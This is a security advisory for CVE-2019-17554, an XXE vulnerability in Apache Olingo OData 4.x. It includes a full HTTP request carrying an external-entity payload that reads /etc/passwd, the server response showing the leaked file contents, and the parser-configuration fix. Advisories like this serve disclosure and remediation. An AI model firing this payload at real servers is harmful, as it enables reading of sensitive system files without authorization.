Apache Olingo OData 4.0 – XML External Entity Injection
############################################################# # # COMPASS SECURITY ADVISORY # https://www.compass-security.com/research/advisories/ # ############################################################# # # Product: Apache Olingo OData 4.0 # Vendor: Apache Foundation # CSNC ID: CSNC-2009-025 # CVE ID: CVE-2019-17554 # Subject: XML External Entity Resolution (XXE) # Risk: High # Effect: Remotely exploitable # Author: Archibald Haddock (advisories@compass-security.com) # Date: 08.11.2019 # ############################################################# Introduction: ------------- Apache Olingo is a Java library that implements the Open Data Protocol (OData). [1] XML data is parsed by insecurley configured software components, which can be abused for XML External Entity Attacks [2]. Affected: --------- Vulnerable: * Olingo OData 4.x.x to 4.6.x Not vulnerable: * Olingo OData 4.7.0 * The Olingo OData 2.0 implementation has XXE protection since 1.1.0-RC01 Technical Description --------------------- The XML content type entity deserializer is not configured to deny the resolution of external entities. Request with content type "application/xml", which trigger the deserialization of entities, can be used to trigger XXE attacks. Request ====== POST /odata-server-sample/cars.svc/Cars HTTP/1.1 Host: localhost:8081 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://localhost:8081/odata-server-sample/ Cookie: JSESSIONID=17C3158153CDC2CA1DBA0E77D4AFC3B0 Upgrade-Insecure-Requests: 1 content-type: application/xml Content-Length: 1101 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <a:entry xmlns:a="http://www.w3.org/2005/Atom" xmlns:m="http://docs.oasis-open.org/odata/ns/metadata" xmlns:d="http://docs.oasis-open.org/odata/ns/data" m:context="$metadata#Cars/$entity"> <a:id>Cars(1)</a:id> <a:title></a:title> <a:summary></a:summary> <a:updated>2019-11-08T15:10:30Z</a:updated> <a:author> <a:name></a:name> </a:author> <a:link rel="edit" href="https://www.exploit-db.com/exploits/47770/Cars(1)"></a:link> <a:link rel="http://docs.oasis-open.org/odata/ns/related/Manufacturer" type="application/atom+xml;type=feed" title="Manufacturer" href="https://www.exploit-db.com/exploits/47770/Cars(1)/Manufacturer"></a:link> <a:category scheme="http://docs.oasis-open.org/odata/ns/scheme" term="#olingo.odata.sample.Car"></a:category> <a:content type="application/xml"> <m:properties> <d:Id m:type="Int16">1</d:Id> <d:Model>F1 &xxe;</d:Model> <d:ModelYear>2012</d:ModelYear> <d:Price m:type="Decimal">189189.43</d:Price> <d:Currency>EUR</d:Currency> </m:properties> </a:content> </a:entry> Response ======== HTTP/1.1 201 Created Server: Apache-Coyote/1.1 OData-Version: 4.0 Content-Type: application/xml Content-Length: 960 Date: Fri, 08 Nov 2019 14:22:35 GMT Connection: close <?xml version="1.0" encoding="UTF-8"?><a:entry xmlns:a="http://www.w3.org/2005/Atom" xmlns:m="http://docs.oasis-open.org/odata/ns/metadata" xmlns:d="http://docs.oasis-open.org/odata/ns/data" m:context="$metadata#Cars"><a:id>Cars(1)</a:id><a:title></a:title><a:summary></a:summary><a:updated>2019-11-08T15:22:35Z</a:updated><a:author><a:name></a:name></a:author><a:link rel="edit" href="https://www.exploit-db.com/exploits/47770/Cars(1)"></a:link><a:link rel="http://docs.oasis-open.org/odata/ns/related/Manufacturer" type="application/atom+xml;type=feed" title="Manufacturer" href="https://www.exploit-db.com/exploits/47770/Cars(1)/Manufacturer"></a:link><a:category scheme="http://docs.oasis-open.org/odata/ns/scheme" term="#olingo.odata.sample.Car"></a:category><a:content type="application/xml"><m:properties><d:Id m:type="Int16">1</d:Id><d:Model> myuser:x:1000:1000:,,,:/home/myuser:/bin/bash </d:Model><d:ModelYear>2012</d:ModelYear><d:Price m:type="Decimal">189189.43</d:Price><d:Currency>EUR</d:Currency></m:properties></a:content></a:entry> Workaround / Fix: ----------------- Configure the XML reader securely [3]. In org.apache.olingo.server.core.deserializer.xml.ODataXmlDeserializer.java on line 70 a javax.xml.stream.XMLInputFactory is instanciated: private static final XMLInputFactory FACTORY = XMLInputFactory.newFactory(); The XMLInputFactory should be configured, not to resolve external entities: FACTORY.setProperty(XMLInputFactory.SUPPORT_DTD, false); FACTORY.setProperty("javax.xml.stream.isSupportingExternalEntities", false); Timeline: --------- 2019-11-08: Discovery by Compass Security 2019-11-08: Initial vendor notification 2019-11-08: Initial vendor response 2019-12-04: Release of fixed Version / Patch [4] 2019-12-05: Coordinated public disclosure date [1] https://olingo.apache.org/ [2] https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing [3] https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html [4] https://mail-archives.apache.org/mod_mbox/olingo-user/201912.mbox/%3CCAGSZ4d7Ty%3DL-n_iAzT6vcQp65BY29XZDS5tMoM8MdDrb1moM7A%40mail.gmail.com%3E Source: https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2019-025_apache_xxe.txt |